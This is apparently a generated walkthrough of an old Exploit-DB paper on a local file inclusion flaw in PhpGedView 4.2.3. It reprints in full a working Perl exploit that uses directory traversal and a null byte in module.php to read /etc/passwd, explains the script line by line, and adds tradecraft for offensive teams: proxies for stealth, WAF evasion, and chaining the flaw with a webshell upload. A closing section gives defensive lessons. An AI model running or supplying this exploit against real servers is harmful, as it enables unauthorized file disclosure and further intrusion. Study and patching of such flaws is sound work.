Exploiting PhpGedView 4.2.3 Local File Inclusion

Exploiting PhpGedView 4.2.3 Local File Inclusion
What this paper is
This paper details a Local File Inclusion (LFI) vulnerability in PhpGedView version 4.2.3. LFI vulnerabilities allow an attacker to trick a web application into including and executing files from the server's filesystem that it was not intended to access. In this case, the vulnerability can be exploited to read sensitive files like /etc/passwd.
Simple technical breakdown
The vulnerability lies in how PhpGedView handles user-supplied input for its module system. Specifically, the module.php script, when processing the mod parameter, doesn't properly sanitize input. By crafting a special URL, an attacker can manipulate the mod parameter to include directory traversal sequences (../) and a null byte (%00) to bypass intended file inclusion restrictions and force the server to read arbitrary files.
The exploit script automates this process by:
- Enumerating potential modules: It tries to guess or discover available modules within the PhpGedView installation.
- Crafting the exploit URL: For each module, it constructs a URL that uses directory traversal to move up the directory tree and then attempts to include a target file (like
/etc/passwd). - Sending the request: It sends an HTTP GET request to the crafted URL.
- Analyzing the response: It checks the server's response for patterns indicative of a successful file read, such as the format of lines in
/etc/passwd.
Complete code and payload walkthrough
The provided Perl script automates the exploitation of the LFI vulnerability.
#!/usr/bin/perl -w
# ... (ASCII art and comments) ...
use IO::Socket;
use Socket;
use IO::Select;
my @modules;
if(scalar(@ARGV) < 1) {
print "\nUsage: perl expl.pl http://site.com/phpgedview/\n\n";
exit;
}
print "\033[32m[1] \033[0mChecking installed PGV modules..\n";
@modules=get_modules_list($ARGV[0].'/modules/');
print "\033[32m[2] \033[0mTrying to read /etc/passwd file..\n";
p(\@modules, $ARGV[0].'/', '/etc/passwd');
sub http_query {
# ... (function definition) ...
}
sub get_modules_list {
# ... (function definition) ...
}
sub p {
# ... (function definition) ...
}
# ... (end of script) ...Explanation of Code Blocks and Functions:
#!/usr/bin/perl -w: This is the shebang line, indicating that the script should be executed with the Perl interpreter. The-wflag enables warnings, which is good practice for debugging.use IO::Socket; use Socket; use IO::Select;: These lines import necessary Perl modules for network programming, specifically for creating and managing socket connections.my @modules;: Declares an array named@moduleswhich will be used to store information about discovered PhpGedView modules.if(scalar(@ARGV) < 1) { ... }: This block checks if any command-line arguments were provided. If not, it prints a usage message and exits, as the script requires the target URL.@ARGV: This is a special Perl array that holds the command-line arguments passed to the script.scalar(@ARGV): Returns the number of elements in the@ARGVarray.
print "\033[32m[1] \033[0mChecking installed PGV modules..\n";: Prints a colored message to the console indicating the first step of the script.@modules=get_modules_list($ARGV[0].'/modules/');: Calls theget_modules_listsubroutine, passing the base URL of the target application appended with/modules/. The result (a list of modules) is stored in the@modulesarray.print "\033[32m[2] \033[0mTrying to read /etc/passwd file..\n";: Prints another colored message indicating the second step.p(\@modules, $ARGV[0].'/', '/etc/passwd');: Calls thepsubroutine, passing:\@modules: A reference to the@modulesarray.$ARGV[0].'/': The base URL of the target application.'/etc/passwd': The file to attempt to read.
sub http_query { ... }: This subroutine handles sending HTTP requests and receiving responses.my $page="";: Initializes a variable to store the HTTP response.my $url=$_[0];: Gets the URL to query from the first argument passed to the subroutine.my $ua="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)";: Sets a common User-Agent string.if(defined($_[1]) && defined($_[2])) { ... } else { ... }: This block handles two scenarios:- Explicit Host/Port: If the second and third arguments are defined, it assumes they are the host and port, constructing a GET request accordingly.
- Implicit Host/Port (from URL): If only the URL is provided, it parses the host and the request path from the URL.
$host=$url; $host=~s/([a-zA-Z0-9\.]+)\/.*/$1/;: Extracts the hostname from the URL.$query=$url; $query=~s/$host//;: Extracts the path from the URL.if ($query eq "") {$query="/";};: Ensures a path is set if none is found.$get="GET $query HTTP/1.0\r\nHost: $host\r\n$ua\r\nConnection: Close\r\n\r\n";: Constructs the HTTP GET request with theHostheader.
my $sock = IO::Socket::INET->new(...) or return;: Attempts to create a TCP socket connection to the target host and port. If it fails, it returnsundef.print $sock $get;: Sends the constructed HTTP GET request over the socket.my @r = <$sock>;: Reads all lines from the socket into an array@r.$page="@r";: Joins the lines from@rinto a single string$page.close($sock);: Closes the socket connection.return $page;: Returns the received HTTP response.
sub get_modules_list { ... }: This subroutine attempts to discover installed PhpGedView modules.my $host = $_[0];: Gets the URL for the modules directory.my @modules1=( ... );: Defines a hardcoded list of common PhpGedView modules. This serves as a fallback if direct discovery fails.$page = http_query($host);: Sends an HTTP request to the modules directory URL.while($page =~ m/(.*)<(a|A)\s(href|HREF)="([^\/]+)\/">/g){ ... }: This loop uses a regular expression to find<a>tags within the response. It specifically looks for links where thehrefattribute does not contain a/(implying it's a module directory name).push (@modules2, $4);: If a match is found, the captured module name (the 4th capturing group,$4) is added to the@modules2array.
if(@modules2) { ... } else { ... }: Checks if any modules were discovered. If@modules2is not empty, it prints the discovered modules and returns them. Otherwise, it prints a message and returns the hardcoded@modules1list.
sub p { ... }: This is the core subroutine that attempts to exploit the LFI vulnerability.my($mods, $host, $file)=@_;: Takes a reference to the modules array, the base URL, and the target file path as input.my $page="";: Initializes a variable for the HTTP response.foreach $r(@{$mods}) { ... }: Iterates through each module name ($r) in the provided modules list.$q="$host"."module.php?mod=$r&pgvaction=".("/.."x10)."$file%00";: This is the crucial part where the exploit URL is constructed.$host: The base URL of the PhpGedView installation.module.php: The vulnerable script.mod=$r: Specifies the module to load.&pgvaction=: A parameter used by PhpGedView.("/.."x10): This repeats the string../ten times. This is a common technique for directory traversal, aiming to move up the directory tree sufficiently to reach the root.$file: The target file to include (e.g.,/etc/passwd).%00: The URL-encoded null byte. In older PHP versions, a null byte could terminate string processing, effectively bypassing any further sanitization or path restrictions that might have been intended after the null byte.
$page=http_query($q);: Sends the crafted exploit URL to thehttp_querysubroutine.@lines = split (/\n/, $page);: Splits the HTTP response into individual lines.if($page=~ m/(.+):.:\d+:\d+:(.*):\/(.+):\/(.*)/g){ ... }: This regular expression attempts to match the format of a line in the/etc/passwdfile.(.+): Captures the username.:.:: Matches the literal string::.\d+:\d+:: Matches two sets of digits (UID and GID) separated by colons.(.*):: Captures the user's real name or comment.\/(.+):\/(.*): Captures the home directory and the shell.
print "\033[32mModule: $r\n"; ... print "\033[31mFailed :(\033[0m\n": If a match is found, it prints the successful module, the constructed address, and prompts the user to press ENTER to display the contents of the read file. If no match is found after trying all modules, it prints a "Failed" message.
##################################################################: These lines are just decorative separators.
Payload/Shellcode Segment:
There is no traditional shellcode or executable payload in this script. The "payload" is the crafted URL itself, which leverages the LFI vulnerability to make the web server read and return the content of a specified file (e.g., /etc/passwd). The script's output is the content of the file, not a remotely executed command.
Mapping List:
#!/usr/bin/perl -w: Script interpreter and warning flag.use IO::Socket; use Socket; use IO::Select;: Network communication modules.my @modules;: Array to store discovered modules.if(scalar(@ARGV) < 1) { ... }: Argument validation for target URL.print "\033[32m[1] ..."; @modules=get_modules_list(...);: Step 1: Discovering modules.print "\033[32m[2] ..."; p(\@modules, ...);: Step 2: Attempting file read.sub http_query { ... }: Function for sending HTTP requests and receiving responses.sub get_modules_list { ... }: Function to discover PhpGedView modules.my @modules1=( ... );: Hardcoded list of common modules.while($page =~ m/(.*)<(a|A)\s(href|HREF)="([^\/]+)\/">/g){ ... }: Regex to find module links.
sub p { ... }: Core exploitation function.foreach $r(@{$mods}) { ... }: Loop through each module.$q="$host"."module.php?mod=$r&pgvaction=".("/.."x10)."$file%00";: Constructs the LFI exploit URL.$page=http_query($q);: Sends the exploit request.if($page=~ m/(.+):.:\d+:\d+:(.*):\/(.+):\/(.*)/g){ ... }: Regex to detect successful/etc/passwdread.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server. No prior authentication is typically required if the vulnerable script is accessible anonymously.
- Lab Preconditions:
- A target machine running PhpGedView version 4.2.3 or earlier.
- A web server (e.g., Apache, Nginx) configured to serve the PhpGedView application.
- The target machine should have a file like
/etc/passwdaccessible by the web server's user. - A Perl interpreter installed on the attacker's machine.
- Tooling Assumptions:
- The exploit script itself (
expl.pl). - A web browser for initial reconnaissance (optional, but recommended to verify the target URL and application structure).
- Network connectivity to the target.
- The exploit script itself (
- Execution Pitfalls:
- Version Mismatch: The vulnerability is specific to PhpGedView <= 4.2.3. Newer versions may have patched this.
- Web Application Firewall (WAF): WAFs can detect and block requests containing directory traversal sequences (
../) or null bytes (%00). Evasion techniques might be necessary. - PHP Configuration: Older PHP versions are more susceptible to null byte termination. If
magic_quotes_gpcis enabled or if the PHP version is too new, the null byte might be escaped or handled differently, breaking the exploit. - Incorrect URL: The target URL must be accurate, pointing to the root of the PhpGedView installation.
- Module Discovery Failure: If the script cannot discover modules, it falls back to a hardcoded list. If the target application's structure is unusual or the hardcoded list doesn't contain a valid module name that can be exploited, the exploit might fail.
- File Permissions: The web server process must have read permissions for the target file (e.g.,
/etc/passwd). - Network Issues: Standard network connectivity problems can prevent the exploit from reaching the target.
- Timeout: The
Timeout => 3inIO::Socket::INET->newmight be too short for slow or heavily loaded servers.
- Tradecraft Considerations:
- Reconnaissance: Before running the script, manually verify the target URL and application version if possible. Check for common web server vulnerabilities or misconfigurations.
- Stealth: Direct execution of this script might generate noticeable logs on the target server (access logs for
module.php). Consider using anonymization techniques or proxies if stealth is paramount. - Payload Delivery: This exploit is for information disclosure. To achieve remote code execution, an attacker would typically chain this LFI with a technique to upload a malicious PHP file (e.g., a webshell) and then include that file using the LFI. This requires additional steps and a vulnerable upload mechanism or another vulnerability.
- Error Handling: The script is basic. In a real engagement, more robust error handling and response parsing might be needed.
- Logging: Ensure local logging of exploit attempts and results is configured if required by operational procedures.
- Expected Telemetry:
- Web Server Access Logs: Entries for
GET /phpgedview/modules/module.php?mod=<module_name>&pgvaction=../../../../../../../../../../../etc/passwd%00 HTTP/1.0(or similar, depending on the exact URL construction and module name). - Web Server Error Logs: Potential errors if PHP encounters issues processing the request or if the file is not found/readable.
- Network Traffic: Standard HTTP GET requests to the target server.
- Intrusion Detection/Prevention Systems (IDS/IPS): Signatures for directory traversal patterns (
../,%2e%2e%2f) or null byte injection might trigger alerts. - Application Logs: If PhpGedView has its own logging, it might record attempts to access modules or files.
- Web Server Access Logs: Entries for
Where this was used and when
- Context: This vulnerability was discovered and published in January 2011. It targets the PhpGedView web application, which is used for managing and displaying genealogical data on websites.
- Usage: Exploits of this nature are typically used by:
- Security researchers: To demonstrate vulnerabilities and encourage patching.
- Malicious actors: To gain unauthorized access to sensitive information on web servers.
- Timeframe: The vulnerability existed in PhpGedView versions up to and including 4.2.3. Exploitation would have been relevant around 2011 and potentially earlier, depending on when the vulnerable code was introduced. It's unlikely to be effective against significantly updated versions of PhpGedView or similar applications that have implemented proper input sanitization.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. All user-supplied input, especially that used in file paths, URLs, or database queries, must be rigorously validated and sanitized. This includes:
- Preventing Directory Traversal: Rejecting or sanitizing sequences like
../,..\, and their encoded forms (%2e%2e%2f). - Handling Special Characters: Properly encoding or escaping characters like null bytes (
%00) that can terminate string processing unexpectedly.
- Preventing Directory Traversal: Rejecting or sanitizing sequences like
- Principle of Least Privilege: The web server process should run with the minimum necessary permissions. It should not have read access to sensitive system files like
/etc/passwdunless absolutely required for its operation. - Secure Coding Practices: Developers should be trained on common web vulnerabilities like LFI and how to prevent them. Using secure frameworks and libraries that handle input sanitization automatically can also help.
- Regular Patching and Updates: Keeping web applications and their underlying server software (PHP, web server) updated is crucial. Patches often fix known vulnerabilities.
- Web Application Firewalls (WAFs): Deploying and properly configuring WAFs can help detect and block common LFI attack patterns. However, WAFs are not foolproof and can be bypassed.
- Security Audits and Code Reviews: Regularly auditing application code for security flaws and conducting thorough code reviews can identify vulnerabilities before they are exploited.
- Monitoring and Logging: Implement robust logging for web server access and application events. Monitor these logs for suspicious activity, such as repeated requests with directory traversal patterns.
ASCII visual (if applicable)
This exploit relies on manipulating HTTP requests and server-side script execution. A simple flow diagram can illustrate the process:
+-----------------+ +---------------------+ +-----------------+
| Attacker's | ----> | Web Server (Target) | ----> | PhpGedView |
| Machine | | (e.g., Apache) | | Application |
| (Perl Script) | +---------------------+ +-----------------+
+-----------------+ |
| | (Vulnerable module.php)
| (Crafted HTTP GET Request) |
| |
| v
| +-----------------+
| | Server Filesystem|
| | (e.g., /etc/passwd)|
| +-----------------+
| ^
| | (Reads file content)
| |
+---------------------------------------------------------+
(Returns file content in HTTP Response)Explanation:
- The attacker's Perl script sends a specially crafted HTTP GET request to the web server.
- The web server receives the request and passes it to the PhpGedView application.
- The vulnerable
module.phpscript within PhpGedView processes the request. Due to the LFI vulnerability, it is tricked into reading a file from the server's filesystem (e.g.,/etc/passwd) instead of a legitimate module file. - The content of the requested file is then sent back to the attacker as part of the HTTP response.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/15913
- Original Source Code: Provided within the paper.
- PhpGedView Project: http://www.phpgedview.net/ (Note: This is the project homepage, not necessarily the download location for the vulnerable version).
- SourceForge Download (Historical): http://sourceforge.net/projects/phpgedview/ (Likely contains older versions).
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
# :::::::-. ... ::::::. :::.
# ;;, `';, ;; ;;;`;;;;, `;;;
# `[[ [[[[' [[[ [[[[[. '[[
# $$, $$$$ $$$ $$$ "Y$c$$
# 888_,o8P'88 .d888 888 Y88
# MMMMP"` "YmmMMMM"" MMM YM
# [ Discovered by dun \ posdub[at]gmail.com ]
#
##################################################################
# [ PhpGedView <= 4.2.3 ] Local File Inclusion Vulnerability #
##################################################################
#
# Script: "PhpGedView is a revolutionary genealogy program which
# allows you to view and edit your genealogy on your website..."
#
# Script: http://www.phpgedview.net/
# Download: http://sourceforge.net/projects/phpgedview/
#
# Usage: perl expl.pl http://site.com/phpgedview/
#
##################################################################
#[ dun / 2011-01-05 ]
use IO::Socket;
use Socket;
use IO::Select;
my @modules;
if(scalar(@ARGV) < 1) {
print "\nUsage: perl expl.pl http://site.com/phpgedview/\n\n";
exit;
}
print "\033[32m[1] \033[0mChecking installed PGV modules..\n";
@modules=get_modules_list($ARGV[0].'/modules/');
print "\033[32m[2] \033[0mTrying to read /etc/passwd file..\n";
p(\@modules, $ARGV[0].'/', '/etc/passwd');
sub http_query {
my $page="";
my $url=$_[0];
my $ua="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)";
if(defined($_[1]) && defined($_[2])) {
$host=$_[1];
$port=$_[2];
$get="GET $url HTTP/1.0\r\n$ua\r\nConnection: Close\r\n\r\n";
} else {
$port=80;
$url=~s/http:\/\///;
$host=$url;
$query=$url;
$host=~s/([a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
$get="GET $query HTTP/1.0\r\nHost: $host\r\n$ua\r\nConnection: Close\r\n\r\n";
}
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"$port",Proto=>"tcp",Timeout => 3) or return;
print $sock $get;
my @r = <$sock>;
$page="@r";
close($sock);
return $page;
}
sub get_modules_list {
my $host = $_[0];
my $page="";
my @modules1=(
"FCKeditor",
"GEDFact_assistant",
"JWplayer",
"batch_update",
"cms_interface",
"gallery2",
"googlemap",
"lightbox",
"punbb",
"research_assistant",
"sitemap",
"slideshow",
"wordsearch"
);
$page = http_query($host);
while($page =~ m/(.*)<(a|A)\s(href|HREF)="([^\/]+)\/">/g){
push (@modules2, $4);
}
if(@modules2) {
print " Installed modules: @modules2\n";
return @modules2;
} else {
print " No info about installed modules..\n";
return @modules1;
}
}
sub p {
my($mods, $host, $file)=@_;
my $page="";
foreach $r(@{$mods}) {
$q="$host"."module.php?mod=$r&pgvaction=".("/.."x10)."$file%00";
$page=http_query($q);
@lines = split (/\n/, $page);
if($page=~ m/(.+):.:\d+:\d+:(.*):\/(.+):\/(.*)/g){
print "\033[32mModule: $r\n";
print "Adress: $q\n";
print "File: /etc/passwd:\033[0m (Press ENTER) ";
if(<STDIN>) {
print "\n\n";
for(@lines) {
if($_=~ m/(.+):.:\d+:\d+:(.*):\/(.+):\/(.*)/g){
print $_."\n";
}
}
}
return 0;
}
}
print "\033[31mFailed :(\033[0m\n"
}
##################################################################